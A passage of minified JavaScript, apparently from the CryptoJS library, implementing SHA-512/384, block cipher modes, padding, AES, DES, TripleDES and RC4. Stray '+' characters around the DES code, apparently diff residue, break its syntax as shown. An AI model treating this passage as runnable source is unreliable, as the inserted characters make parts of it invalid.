>>> 7 | $ << 25), tt = l[T - 2], rt = tt.high, et = tt.low, it = (rt >>> 19 | et << 13) ^ (rt << 3 | et >>> 29) ^ rt >>> 6, nt = (et >>> 19 | rt << 13) ^ (et << 3 | rt >>> 29) ^ (et >>> 6 | rt << 26), ot = l[T - 7], st = ot.high, at = ot.low, ct = l[T - 16], ht = ct.high, lt = ct.low, G = Y + at, q = V + st + (G >>> 0 < Y >>> 0 ? 1 : 0), G = G + nt, q = q + it + (G >>> 0 < nt >>> 0 ? 1 : 0), G = G + lt, q = q + ht + (G >>> 0 < lt >>> 0 ? 1 : 0); Z.high = q, Z.low = G } var ft = O & I ^ ~O & X, ut = U & K ^ ~U & L, dt = C & R ^ C & M ^ R & M, vt = D & E ^ D & F ^ E & F, pt = (C >>> 28 | D << 4) ^ (C << 30 | D >>> 2) ^ (C << 25 | D >>> 7), _t = (D >>> 28 | C << 4) ^ (D << 30 | C >>> 2) ^ (D << 25 | C >>> 7), yt = (O >>> 14 | U << 18) ^ (O >>> 18 | U << 14) ^ (O << 23 | U >>> 9), gt = (U >>> 14 | O << 18) ^ (U >>> 18 | O << 14) ^ (U << 23 | O >>> 9), Bt = h[T], wt = Bt.high, kt = Bt.low, St = N + gt, mt = j + yt + (St >>> 0 < N >>> 0 ? 1 : 0), St = St + ut, mt = mt + ft + (St >>> 0 < ut >>> 0 ? 1 : 0), St = St + kt, mt = mt + wt + (St >>> 0 < kt >>> 0 ? 1 : 0), St = St + G, mt = mt + q + (St >>> 0 < G >>> 0 ? 1 : 0), xt = _t + vt, bt = pt + dt + (xt >>> 0 < _t >>> 0 ? 1 : 0); j = X, N = L, X = I, L = K, I = O, K = U, U = W + St | 0, O = P + mt + (U >>> 0 < W >>> 0 ? 1 : 0) | 0, P = M, W = F, M = R, F = E, R = C, E = D, D = St + xt | 0, C = mt + bt + (D >>> 0 < St >>> 0 ? 1 : 0) | 0 } v = i.low = v + D, i.high = d + C + (v >>> 0 < D >>> 0 ? 1 : 0), _ = n.low = _ + E, n.high = p + R + (_ >>> 0 < E >>> 0 ? 1 : 0), g = o.low = g + F, o.high = y + M + (g >>> 0 < F >>> 0 ? 1 : 0), w = s.low = w + W, s.high = B + P + (w >>> 0 < W >>> 0 ? 1 : 0), S = a.low = S + U, a.high = k + O + (S >>> 0 < U >>> 0 ? 1 : 0), x = c.low = x + K, c.high = m + I + (x >>> 0 < K >>> 0 ? 1 : 0), H = f.low = H + L, f.high = b + X + (H >>> 0 < L >>> 0 ? 1 : 0), A = u.low = A + N, u.high = z + j + (A >>> 0 < N >>> 0 ? 1 : 0) }, _doFinalize: function () { var t = this._data, r = t.words, e = 8 * this._nDataBytes, i = 8 * t.sigBytes; r[i >>> 5] |= 128 << 24 - i % 32, r[(i + 128 >>> 10 << 5) + 30] = Math.floor(e / 4294967296), r[(i + 128 >>> 10 << 5) + 31] = e, t.sigBytes = 4 * r.length, this._process(); var n = this._hash.toX32(); return n }, clone: function () { var t = n.clone.call(this); return t._hash = this._hash.clone(), t }, blockSize: 32 }); e.SHA512 = n._createHelper(f), e.HmacSHA512 = n._createHmacHelper(f) }(), function () { var r = t, e = r.x64, i = e.Word, n = e.WordArray, o = r.algo, s = o.SHA512, a = o.SHA384 = s.extend({ _doReset: function () { this._hash = new n.init([new i.init(3418070365, 3238371032), new i.init(1654270250, 914150663), new i.init(2438529370, 812702999), new i.init(355462360, 4144912697), new i.init(1731405415, 4290775857), new i.init(2394180231, 1750603025), new i.init(3675008525, 1694076839), new i.init(1203062813, 3204075428)]) }, _doFinalize: function () { var t = s._doFinalize.call(this); return t.sigBytes -= 16, t } }); r.SHA384 = s._createHelper(a), r.HmacSHA384 = s._createHmacHelper(a) }(), t.lib.Cipher || function (r) { var e = t, i = e.lib, n = i.Base, o = i.WordArray, s = i.BufferedBlockAlgorithm, a = e.enc, c = (a.Utf8, a.Base64), h = e.algo, l = h.EvpKDF, f = i.Cipher = s.extend({ cfg: n.extend(), createEncryptor: function (t, r) { return this.create(this._ENC_XFORM_MODE, t, r) }, createDecryptor: function (t, r) { return this.create(this._DEC_XFORM_MODE, t, r) }, init: function (t, r, e) { this.cfg = this.cfg.extend(e), this._xformMode = t, this._key = r, this.reset() }, reset: function () { s.reset.call(this), this._doReset() }, process: function (t) { return this._append(t), this._process() }, finalize: function (t) { t && this._append(t); var r = this._doFinalize(); return r }, keySize: 4, ivSize: 4, _ENC_XFORM_MODE: 1, _DEC_XFORM_MODE: 2, _createHelper: function () { function t(t) { return "string" == typeof t ? m : w } return function (r) { return { encrypt: function (e, i, n) { return t(i).encrypt(r, e, i, n) }, decrypt: function (e, i, n) { return t(i).decrypt(r, e, i, n) } } } }() }), u = (i.StreamCipher = f.extend({ _doFinalize: function () { var t = this._process(!0); return t }, blockSize: 1 }), e.mode = {}), d = i.BlockCipherMode = n.extend({ createEncryptor: function (t, r) { return this.Encryptor.create(t, r) }, createDecryptor: function (t, r) { return this.Decryptor.create(t, r) }, init: function (t, r) { this._cipher = t, this._iv = r } }), v = u.CBC = function () { function t(t, e, i) { var n = this._iv; if (n) { var o = n; this._iv = r } else var o = this._prevBlock; for (var s = 0; s < i; s++)t[e + s] ^= o[s] } var e = d.extend(); return e.Encryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize; t.call(this, r, e, n), i.encryptBlock(r, e), this._prevBlock = r.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (r, e) { var i = this._cipher, n = i.blockSize, o = r.slice(e, e + n); i.decryptBlock(r, e), t.call(this, r, e, n), this._prevBlock = o } }), e }(), p = e.pad = {}, _ = p.Pkcs7 = { pad: function (t, r) { for (var e = 4 * r, i = e - t.sigBytes % e, n = i << 24 | i << 16 | i << 8 | i, s = [], a = 0; a < i; a += 4)s.push(n); var c = o.create(s, i); t.concat(c) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, y = (i.BlockCipher = f.extend({ cfg: f.cfg.extend({ mode: v, padding: _ }), reset: function () { f.reset.call(this); var t = this.cfg, r = t.iv, e = t.mode; if (this._xformMode == this._ENC_XFORM_MODE) var i = e.createEncryptor; else { var i = e.createDecryptor; this._minBufferSize = 1 } this._mode && this._mode.__creator == i ? this._mode.init(this, r && r.words) : (this._mode = i.call(e, this, r && r.words), this._mode.__creator = i) }, _doProcessBlock: function (t, r) { this._mode.processBlock(t, r) }, _doFinalize: function () { var t = this.cfg.padding; if (this._xformMode == this._ENC_XFORM_MODE) { t.pad(this._data, this.blockSize); var r = this._process(!0) } else { var r = this._process(!0); t.unpad(r) } return r }, blockSize: 4 }), i.CipherParams = n.extend({ init: function (t) { this.mixIn(t) }, toString: function (t) { return (t || this.formatter).stringify(this) } })), g = e.format = {}, B = g.OpenSSL = { stringify: function (t) { var r = t.ciphertext, e = t.salt; if (e) var i = o.create([1398893684, 1701076831]).concat(e).concat(r); else var i = r; return i.toString(c) }, parse: function (t) { var r = c.parse(t), e = r.words; if (1398893684 == e[0] && 1701076831 == e[1]) { var i = o.create(e.slice(2, 4)); e.splice(0, 4), r.sigBytes -= 16 } return y.create({ ciphertext: r, salt: i }) } }, w = i.SerializableCipher = n.extend({ cfg: n.extend({ format: B }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = t.createEncryptor(e, i), o = n.finalize(r), s = n.cfg; return y.create({ ciphertext: o, key: e, iv: s.iv, algorithm: t, mode: s.mode, padding: s.padding, blockSize: t.blockSize, formatter: i.format }) }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = t.createDecryptor(e, i).finalize(r.ciphertext); return n }, _parse: function (t, r) { return "string" == typeof t ? r.parse(t, this) : t } }), k = e.kdf = {}, S = k.OpenSSL = { execute: function (t, r, e, i) { i || (i = o.random(8)); var n = l.create({ keySize: r + e }).compute(t, i), s = o.create(n.words.slice(r), 4 * e); return n.sigBytes = 4 * r, y.create({ key: n, iv: s, salt: i }) } }, m = i.PasswordBasedCipher = w.extend({ cfg: w.cfg.extend({ kdf: S }), encrypt: function (t, r, e, i) { i = this.cfg.extend(i); var n = i.kdf.execute(e, t.keySize, t.ivSize); i.iv = n.iv; var o = w.encrypt.call(this, t, r, n.key, i); return o.mixIn(n), o }, decrypt: function (t, r, e, i) { i = this.cfg.extend(i), r = this._parse(r, i.format); var n = i.kdf.execute(e, t.keySize, t.ivSize, r.salt); i.iv = n.iv; var o = w.decrypt.call(this, t, r, n.key, i); return o } }) }(), t.mode.CFB = function () { function r(t, r, e, i) { var n = this._iv; if (n) { var o = n.slice(0); this._iv = void 0 } else var o = this._prevBlock; i.encryptBlock(o, 0); for (var s = 0; s < e; s++)t[r + s] ^= o[s] } var e = t.lib.BlockCipherMode.extend(); return e.Encryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize; r.call(this, t, e, n, i), this._prevBlock = t.slice(e, e + n) } }), e.Decryptor = e.extend({ processBlock: function (t, e) { var i = this._cipher, n = i.blockSize, o = t.slice(e, e + n); r.call(this, t, e, n, i), this._prevBlock = o } }), e }(), t.mode.ECB = function () { var r = t.lib.BlockCipherMode.extend(); return r.Encryptor = r.extend({ processBlock: function (t, r) { this._cipher.encryptBlock(t, r) } }), r.Decryptor = r.extend({ processBlock: function (t, r) { this._cipher.decryptBlock(t, r) } }), r }(), t.pad.AnsiX923 = { pad: function (t, r) { var e = t.sigBytes, i = 4 * r, n = i - e % i, o = e + n - 1; t.clamp(), t.words[o >>> 2] |= n << 24 - o % 4 * 8, t.sigBytes += n }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso10126 = { pad: function (r, e) { var i = 4 * e, n = i - r.sigBytes % i; r.concat(t.lib.WordArray.random(n - 1)).concat(t.lib.WordArray.create([n << 24], 1)) }, unpad: function (t) { var r = 255 & t.words[t.sigBytes - 1 >>> 2]; t.sigBytes -= r } }, t.pad.Iso97971 = { pad: function (r, e) { r.concat(t.lib.WordArray.create([2147483648], 1)), t.pad.ZeroPadding.pad(r, e) }, unpad: function (r) { t.pad.ZeroPadding.unpad(r), r.sigBytes-- } }, t.mode.OFB = function () { var r = t.lib.BlockCipherMode.extend(), e = r.Encryptor = r.extend({ processBlock: function (t, r) { var e = this._cipher, i = e.blockSize, n = this._iv, o = this._keystream; n && (o = this._keystream = n.slice(0), this._iv = void 0), e.encryptBlock(o, 0); for (var s = 0; s < i; s++)t[r + s] ^= o[s] } }); return r.Decryptor = e, r }(), t.pad.NoPadding = { pad: function () { }, unpad: function () { } }, function (r) { var e = t, i = e.lib, n = i.CipherParams, o = e.enc, s = o.Hex, a = e.format; a.Hex = { stringify: function (t) { return t.ciphertext.toString(s) }, parse: function (t) { var r = s.parse(t); return n.create({ ciphertext: r }) } } }(), function () { var r = t, e = r.lib, i = e.BlockCipher, n = r.algo, o = [], s = [], a = [], c = [], h = [], l = [], f = [], u = [], d = [], v = []; !function () { for (var t = [], r = 0; r < 256; r++)r < 128 ? t[r] = r << 1 : t[r] = r << 1 ^ 283; for (var e = 0, i = 0, r = 0; r < 256; r++) { var n = i ^ i << 1 ^ i << 2 ^ i << 3 ^ i << 4; n = n >>> 8 ^ 255 & n ^ 99, o[e] = n, s[n] = e; var p = t[e], _ = t[p], y = t[_], g = 257 * t[n] ^ 16843008 * n; a[e] = g << 24 | g >>> 8, c[e] = g << 16 | g >>> 16, h[e] = g << 8 | g >>> 24, l[e] = g; var g = 16843009 * y ^ 65537 * _ ^ 257 * p ^ 16843008 * e; f[n] = g << 24 | g >>> 8, u[n] = g << 16 | g >>> 16, d[n] = g << 8 | g >>> 24, v[n] = g, e ? (e = p ^ t[t[t[y ^ p]]], i ^= t[t[i]]) : e = i = 1 } }(); var p = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54], _ = n.AES = i.extend({ _doReset: function () { if (!this._nRounds || this._keyPriorReset !== this._key) { for (var t = this._keyPriorReset = this._key, r = t.words, e = t.sigBytes / 4, i = this._nRounds = e + 6, n = 4 * (i + 1), s = this._keySchedule = [], a = 0; a < n; a++)if (a < e) s[a] = r[a]; else { var c = s[a - 1]; a % e ? e > 6 && a % e == 4 && (c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c]) : (c = c << 8 | c >>> 24, c = o[c >>> 24] << 24 | o[c >>> 16 & 255] << 16 | o[c >>> 8 & 255] << 8 | o[255 & c], c ^= p[a / e | 0] << 24), s[a] = s[a - e] ^ c } for (var h = this._invKeySchedule = [], l = 0; l < n; l++) { var a = n - l; if (l % 4) var c = s[a]; else var c = s[a - 4]; l < 4 || a <= 4 ? h[l] = c : h[l] = f[o[c >>> 24]] ^ u[o[c >>> 16 & 255]] ^ d[o[c >>> 8 & 255]] ^ v[o[255 & c]] } } }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._keySchedule, a, c, h, l, o) }, decryptBlock: function (t, r) { var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e, this._doCryptBlock(t, r, this._invKeySchedule, f, u, d, v, s); var e = t[r + 1]; t[r + 1] = t[r + 3], t[r + 3] = e }, _doCryptBlock: function (t, r, e, i, n, o, s, a) { for (var c = this._nRounds, h = t[r] ^ e[0], l = t[r + 1] ^ e[1], f = t[r + 2] ^ e[2], u = t[r + 3] ^ e[3], d = 4, v = 1; v < c; v++) { var p = i[h >>> 24] ^ n[l >>> 16 & 255] ^ o[f >>> 8 & 255] ^ s[255 & u] ^ e[d++], _ = i[l >>> 24] ^ n[f >>> 16 & 255] ^ o[u >>> 8 & 255] ^ s[255 & h] ^ e[d++], y = i[f >>> 24] ^ n[u >>> 16 & 255] ^ o[h >>> 8 & 255] ^ s[255 & l] ^ e[d++], g = i[u >>> 24] ^ n[h >>> 16 & 255] ^ o[l >>> 8 & 255] ^ s[255 & f] ^ e[d++]; h = p, l = _, f = y, u = g } var p = (a[h >>> 24] << 24 | a[l >>> 16 & 255] << 16 | a[f >>> 8 & 255] << 8 | a[255 & u]) ^ e[d++], _ = (a[l >>> 24] << 24 | a[f >>> 16 & 255] << 16 | a[u >>> 8 & 255] << 8 | a[255 & h]) ^ e[d++], y = (a[f >>> 24] << 24 | a[u >>> 16 & 255] << 16 | a[h >>> 8 & 255] << 8 | a[255 & l]) ^ e[d++], g = (a[u >>> 24] << 24 | a[h >>> 16 & 255] << 16 | a[l >>> 8 & 255] << 8 | a[255 & f]) ^ e[d++]; t[r] = p, t[r + 1] = _, t[r + 2] = y, t[r + 3] = g }, keySize: 8 }); r.AES = i._createHelper(_) }(), function () { + function r(t, r) { var e = (this._lBlock >>> t ^ this._rBlock) & r; this._rBlock ^= e, this._lBlock ^= e << t } function e(t, r) { + var e = (this._rBlock >>> t ^ this._lBlock) & r; this._lBlock ^= e, this._rBlock ^= e << t; + } var i = t, n = i.lib, o = n.WordArray, s = n.BlockCipher, a = i.algo, c = [57, 49, 41, 33, 25, 17, 9, 1, 58, 50, 42, 34, 26, 18, 10, 2, 59, 51, 43, 35, 27, 19, 11, 3, 60, 52, 44, 36, 63, 55, 47, 39, 31, 23, 15, 7, 62, 54, 46, 38, 30, 22, 14, 6, 61, 53, 45, 37, 29, 21, 13, 5, 28, 20, 12, 4], h = [14, 17, 11, 24, 1, 5, 3, 28, 15, 6, 21, 10, 23, 19, 12, 4, 26, 8, 16, 7, 27, 20, 13, 2, 41, 52, 31, 37, 47, 55, 30, 40, 51, 45, 33, 48, 44, 49, 39, 56, 34, 53, 46, 42, 50, 36, 29, 32], l = [1, 2, 4, 6, 8, 10, 12, 14, 15, 17, 19, 21, 23, 25, 27, 28], f = [{ 0: 8421888, 268435456: 32768, 536870912: 8421378, 805306368: 2, 1073741824: 512, 1342177280: 8421890, 1610612736: 8389122, 1879048192: 8388608, 2147483648: 514, 2415919104: 8389120, 2684354560: 33280, 2952790016: 8421376, 3221225472: 32770, 3489660928: 8388610, 3758096384: 0, 4026531840: 33282, 134217728: 0, 402653184: 8421890, 671088640: 33282, 939524096: 32768, 1207959552: 8421888, 1476395008: 512, 1744830464: 8421378, 2013265920: 2, 2281701376: 8389120, 2550136832: 33280, 2818572288: 8421376, 3087007744: 8389122, 3355443200: 8388610, 3623878656: 32770, 3892314112: 514, 4160749568: 8388608, 1: 32768, 268435457: 2, 536870913: 8421888, 805306369: 8388608, 1073741825: 8421378, 1342177281: 33280, 1610612737: 512, 1879048193: 8389122, 2147483649: 8421890, 2415919105: 8421376, 2684354561: 8388610, 2952790017: 33282, 3221225473: 514, 3489660929: 8389120, 3758096385: 32770, 4026531841: 0, 134217729: 8421890, 402653185: 8421376, 671088641: 8388608, 939524097: 512, 1207959553: 32768, 1476395009: 8388610, 1744830465: 2, 2013265921: 33282, 2281701377: 32770, 2550136833: 8389122, 2818572289: 514, 3087007745: 8421888, 3355443201: 8389120, 3623878657: 0, 3892314113: 33280, 4160749569: 8421378 }, { 0: 1074282512, 16777216: 16384, 33554432: 524288, 50331648: 1074266128, 67108864: 1073741840, 83886080: 1074282496, 100663296: 1073758208, 117440512: 16, 134217728: 540672, 150994944: 1073758224, 167772160: 1073741824, 184549376: 540688, 201326592: 524304, 218103808: 0, 234881024: 16400, 251658240: 1074266112, 8388608: 1073758208, 25165824: 540688, 41943040: 16, 58720256: 1073758224, 75497472: 1074282512, 92274688: 1073741824, 109051904: 524288, 125829120: 1074266128, 142606336: 524304, 159383552: 0, 176160768: 16384, 192937984: 1074266112, 209715200: 1073741840, 226492416: 540672, 243269632: 1074282496, 260046848: 16400, 268435456: 0, 285212672: 1074266128, 301989888: 1073758224, 318767104: 1074282496, 335544320: 1074266112, 352321536: 16, 369098752: 540688, 385875968: 16384, 402653184: 16400, 419430400: 524288, 436207616: 524304, 452984832: 1073741840, 469762048: 540672, 486539264: 1073758208, 503316480: 1073741824, 520093696: 1074282512, 276824064: 540688, 293601280: 524288, 310378496: 1074266112, 327155712: 16384, 343932928: 1073758208, 360710144: 1074282512, 377487360: 16, 394264576: 1073741824, 411041792: 1074282496, 427819008: 1073741840, 444596224: 1073758224, 461373440: 524304, 478150656: 0, 494927872: 16400, 511705088: 1074266128, 528482304: 540672 }, { 0: 260, 1048576: 0, 2097152: 67109120, 3145728: 65796, 4194304: 65540, 5242880: 67108868, 6291456: 67174660, 7340032: 67174400, 8388608: 67108864, 9437184: 67174656, 10485760: 65792, 11534336: 67174404, 12582912: 67109124, 13631488: 65536, 14680064: 4, 15728640: 256, 524288: 67174656, 1572864: 67174404, 2621440: 0, 3670016: 67109120, 4718592: 67108868, 5767168: 65536, 6815744: 65540, 7864320: 260, 8912896: 4, 9961472: 256, 11010048: 67174400, 12058624: 65796, 13107200: 65792, 14155776: 67109124, 15204352: 67174660, 16252928: 67108864, 16777216: 67174656, 17825792: 65540, 18874368: 65536, 19922944: 67109120, 20971520: 256, 22020096: 67174660, 23068672: 67108868, 24117248: 0, 25165824: 67109124, 26214400: 67108864, 27262976: 4, 28311552: 65792, 29360128: 67174400, 30408704: 260, 31457280: 65796, 32505856: 67174404, 17301504: 67108864, 18350080: 260, 19398656: 67174656, 20447232: 0, 21495808: 65540, 22544384: 67109120, 23592960: 256, 24641536: 67174404, 25690112: 65536, 26738688: 67174660, 27787264: 65796, 28835840: 67108868, 29884416: 67109124, 30932992: 67174400, 31981568: 4, 33030144: 65792 }, { 0: 2151682048, 65536: 2147487808, 131072: 4198464, 196608: 2151677952, 262144: 0, 327680: 4198400, 393216: 2147483712, 458752: 4194368, 524288: 2147483648, 589824: 4194304, 655360: 64, 720896: 2147487744, 786432: 2151678016, 851968: 4160, 917504: 4096, 983040: 2151682112, 32768: 2147487808, 98304: 64, 163840: 2151678016, 229376: 2147487744, 294912: 4198400, 360448: 2151682112, 425984: 0, 491520: 2151677952, 557056: 4096, 622592: 2151682048, 688128: 4194304, 753664: 4160, 819200: 2147483648, 884736: 4194368, 950272: 4198464, 1015808: 2147483712, 1048576: 4194368, 1114112: 4198400, 1179648: 2147483712, 1245184: 0, 1310720: 4160, 1376256: 2151678016, 1441792: 2151682048, 1507328: 2147487808, 1572864: 2151682112, 1638400: 2147483648, 1703936: 2151677952, 1769472: 4198464, 1835008: 2147487744, 1900544: 4194304, 1966080: 64, 2031616: 4096, 1081344: 2151677952, 1146880: 2151682112, 1212416: 0, 1277952: 4198400, 1343488: 4194368, 1409024: 2147483648, 1474560: 2147487808, 1540096: 64, 1605632: 2147483712, 1671168: 4096, 1736704: 2147487744, 1802240: 2151678016, 1867776: 4160, 1933312: 2151682048, 1998848: 4194304, 2064384: 4198464 }, { 0: 128, 4096: 17039360, 8192: 262144, 12288: 536870912, 16384: 537133184, 20480: 16777344, 24576: 553648256, 28672: 262272, 32768: 16777216, 36864: 537133056, 40960: 536871040, 45056: 553910400, 49152: 553910272, 53248: 0, 57344: 17039488, 61440: 553648128, 2048: 17039488, 6144: 553648256, 10240: 128, 14336: 17039360, 18432: 262144, 22528: 537133184, 26624: 553910272, 30720: 536870912, 34816: 537133056, 38912: 0, 43008: 553910400, 47104: 16777344, 51200: 536871040, 55296: 553648128, 59392: 16777216, 63488: 262272, 65536: 262144, 69632: 128, 73728: 536870912, 77824: 553648256, 81920: 16777344, 86016: 553910272, 90112: 537133184, 94208: 16777216, 98304: 553910400, 102400: 553648128, 106496: 17039360, 110592: 537133056, 114688: 262272, 118784: 536871040, 122880: 0, 126976: 17039488, 67584: 553648256, 71680: 16777216, 75776: 17039360, 79872: 537133184, 83968: 536870912, 88064: 17039488, 92160: 128, 96256: 553910272, 100352: 262272, 104448: 553910400, 108544: 0, 112640: 553648128, 116736: 16777344, 120832: 262144, 124928: 537133056, 129024: 536871040 }, { 0: 268435464, 256: 8192, 512: 270532608, 768: 270540808, 1024: 268443648, 1280: 2097152, 1536: 2097160, 1792: 268435456, 2048: 0, 2304: 268443656, 2560: 2105344, 2816: 8, 3072: 270532616, 3328: 2105352, 3584: 8200, 3840: 270540800, 128: 270532608, 384: 270540808, 640: 8, 896: 2097152, 1152: 2105352, 1408: 268435464, 1664: 268443648, 1920: 8200, 2176: 2097160, 2432: 8192, 2688: 268443656, 2944: 270532616, 3200: 0, 3456: 270540800, 3712: 2105344, 3968: 268435456, 4096: 268443648, 4352: 270532616, 4608: 270540808, 4864: 8200, 5120: 2097152, 5376: 268435456, 5632: 268435464, 5888: 2105344, 6144: 2105352, 6400: 0, 6656: 8, 6912: 270532608, 7168: 8192, 7424: 268443656, 7680: 270540800, 7936: 2097160, 4224: 8, 4480: 2105344, 4736: 2097152, 4992: 268435464, 5248: 268443648, 5504: 8200, 5760: 270540808, 6016: 270532608, 6272: 270540800, 6528: 270532616, 6784: 8192, 7040: 2105352, 7296: 2097160, 7552: 0, 7808: 268435456, 8064: 268443656 }, { 0: 1048576, 16: 33555457, 32: 1024, 48: 1049601, 64: 34604033, 80: 0, 96: 1, 112: 34603009, 128: 33555456, 144: 1048577, 160: 33554433, 176: 34604032, 192: 34603008, 208: 1025, 224: 1049600, 240: 33554432, 8: 34603009, 24: 0, 40: 33555457, 56: 34604032, 72: 1048576, 88: 33554433, 104: 33554432, 120: 1025, 136: 1049601, 152: 33555456, 168: 34603008, 184: 1048577, 200: 1024, 216: 34604033, 232: 1, 248: 1049600, 256: 33554432, 272: 1048576, 288: 33555457, 304: 34603009, 320: 1048577, 336: 33555456, 352: 34604032, 368: 1049601, 384: 1025, 400: 34604033, 416: 1049600, 432: 1, 448: 0, 464: 34603008, 480: 33554433, 496: 1024, 264: 1049600, 280: 33555457, 296: 34603009, 312: 1, 328: 33554432, 344: 1048576, 360: 1025, 376: 34604032, 392: 33554433, 408: 34603008, 424: 0, 440: 34604033, 456: 1049601, 472: 1024, 488: 33555456, 504: 1048577 }, { 0: 134219808, 1: 131072, 2: 134217728, 3: 32, 4: 131104, 5: 134350880, 6: 134350848, 7: 2048, 8: 134348800, 9: 134219776, 10: 133120, 11: 134348832, 12: 2080, 13: 0, 14: 134217760, 15: 133152, 2147483648: 2048, 2147483649: 134350880, 2147483650: 134219808, 2147483651: 134217728, 2147483652: 134348800, 2147483653: 133120, 2147483654: 133152, 2147483655: 32, 2147483656: 134217760, 2147483657: 2080, 2147483658: 131104, 2147483659: 134350848, 2147483660: 0, 2147483661: 134348832, 2147483662: 134219776, 2147483663: 131072, 16: 133152, 17: 134350848, 18: 32, 19: 2048, 20: 134219776, 21: 134217760, 22: 134348832, 23: 131072, 24: 0, 25: 131104, 26: 134348800, 27: 134219808, 28: 134350880, 29: 133120, 30: 2080, 31: 134217728, 2147483664: 131072, 2147483665: 2048, 2147483666: 134348832, 2147483667: 133152, 2147483668: 32, 2147483669: 134348800, 2147483670: 134217728, 2147483671: 134219808, 2147483672: 134350880, 2147483673: 134217760, 2147483674: 134219776, 2147483675: 0, 2147483676: 133120, 2147483677: 2080, 2147483678: 131104, 2147483679: 134350848 }], u = [4160749569, 528482304, 33030144, 2064384, 129024, 8064, 504, 2147483679], d = a.DES = s.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = [], i = 0; i < 56; i++) { var n = c[i] - 1; e[i] = r[n >>> 5] >>> 31 - n % 32 & 1 } for (var o = this._subKeys = [], s = 0; s < 16; s++) { for (var a = o[s] = [], f = l[s], i = 0; i < 24; i++)a[i / 6 | 0] |= e[(h[i] - 1 + f) % 28] << 31 - i % 6, a[4 + (i / 6 | 0)] |= e[28 + (h[i + 24] - 1 + f) % 28] << 31 - i % 6; a[0] = a[0] << 1 | a[0] >>> 31; for (var i = 1; i < 7; i++)a[i] = a[i] >>> 4 * (i - 1) + 3; a[7] = a[7] << 5 | a[7] >>> 27 } for (var u = this._invSubKeys = [], i = 0; i < 16; i++)u[i] = o[15 - i] }, encryptBlock: function (t, r) { this._doCryptBlock(t, r, this._subKeys) }, decryptBlock: function (t, r) { this._doCryptBlock(t, r, this._invSubKeys) }, _doCryptBlock: function (t, i, n) { this._lBlock = t[i], this._rBlock = t[i + 1], r.call(this, 4, 252645135), r.call(this, 16, 65535), e.call(this, 2, 858993459), e.call(this, 8, 16711935), r.call(this, 1, 1431655765); for (var o = 0; o < 16; o++) { for (var s = n[o], a = this._lBlock, c = this._rBlock, h = 0, l = 0; l < 8; l++)h |= f[l][((c ^ s[l]) & u[l]) >>> 0]; this._lBlock = c, this._rBlock = a ^ h } var d = this._lBlock; this._lBlock = this._rBlock, this._rBlock = d, r.call(this, 1, 1431655765), e.call(this, 8, 16711935), e.call(this, 2, 858993459), r.call(this, 16, 65535), r.call(this, 4, 252645135), t[i] = this._lBlock, t[i + 1] = this._rBlock }, keySize: 2, ivSize: 2, blockSize: 2 }); i.DES = s._createHelper(d); var v = a.TripleDES = s.extend({ _doReset: function () { var t = this._key, r = t.words; this._des1 = d.createEncryptor(o.create(r.slice(0, 2))), this._des2 = d.createEncryptor(o.create(r.slice(2, 4))), this._des3 = d.createEncryptor(o.create(r.slice(4, 6))) }, encryptBlock: function (t, r) { this._des1.encryptBlock(t, r), this._des2.decryptBlock(t, r), this._des3.encryptBlock(t, r) }, decryptBlock: function (t, r) { this._des3.decryptBlock(t, r), this._des2.encryptBlock(t, r), this._des1.decryptBlock(t, r) }, keySize: 6, ivSize: 2, blockSize: 2 }); i.TripleDES = s._createHelper(v) + }(), function () { function r() { for (var t = this._S, r = this._i, e = this._j, i = 0, n = 0; n < 4; n++) { r = (r + 1) % 256, e = (e + t[r]) % 256; var o = t[r]; t[r] = t[e], t[e] = o, i |= t[(t[r] + t[e]) % 256] << 24 - 8 * n } return this._i = r, this._j = e, i } var e = t, i = e.lib, n = i.StreamCipher, o = e.algo, s = o.RC4 = n.extend({ _doReset: function () { for (var t = this._key, r = t.words, e = t.sigBytes, i = this._S = [], n = 0; n < 256; n++)i[n] = n; for (var n = 0, o = 0; n < 256; n++) { var s = n % e, a = r[s >>> 2] >>> 24 - s % 4 * 8 & 255; o = (o + i[n] + a) % 256; var c = i[n]; i[n] = i[o], i[o] = c } this._i = this._j = 0 }, _doProcessBlock: function (t, e) { t[e] ^= r.call(this) }, keySize: 8, ivSize: 0 }); e.RC4 = n._createHelper(s); var a = o.RC4Drop = s.extend({ cfg: s.cfg.extend({ drop: 192 }), _doReset: function () { s._doReset.call(this); for (var t = this.cfg.drop; t > 0; t--)r.call(this) } }); e.RC4Drop = n._createHelper(a) }(), t.mode.CTRGladman = function () { function r(t) { if (255 === (t >> 24 & 255)) { var r = t >> 16 & 255, e = t >> 8 & 255, i = 255 & t; 255 === r ? (r = 0, 255 === e ? (e = 0, 255 === i ? i = 0 : ++i) : ++e) : ++r, t = 0, t += r << 16, t += e << 8, t += i } else t += 1 << 24; return t } function e(t) { return 0 === (t[0] = r(t[0])) && (t[1] = r(t[1])), t } var i = t.lib.BlockCipherMode.extend(), n = i.Encryptor = i.extend({ processBlock: function (t, r) { var i = this._cipher, n = i.blockSize, o = this._iv, s = this._counter; o && (s = this._counter = o.slice(0), this._iv = void 0), e(s); var a = s.slice(0); i.encryptBlock(a, 0); for (var c = 0; c < n; c++)t[r + c] ^= a[c] } }); return i.Decryptor = n, i }(), function () { function r() { for (var t = this._X, r = this._C, e = 0; e < 8; e++)a[e] = r[e]; r[0] = r[0] + 1295307597 + this._b | 0, r[1] = r[1] + 3545052371 + (r[0] >>> 0 < a[0] >>> 0 ? 1 : 0) | 0, r[2] = r[2] + 886263092 + (r[1] >>> 0 < a[1] >>> 0 ? 1 : 0) | 0, r[3] = r[3] + 1295307597 + (r[2] >>> 0 < a[2] >>> 0 ? 1 : 0) | 0, r[4] = r[4] + 3545052371 + (r[3] >>> 0 < a[3] >>> 0 ? 1 : 0) | 0, r[5] = r[5] + 886263092 + (r[4] >>> 0 < a[4] >>> 0 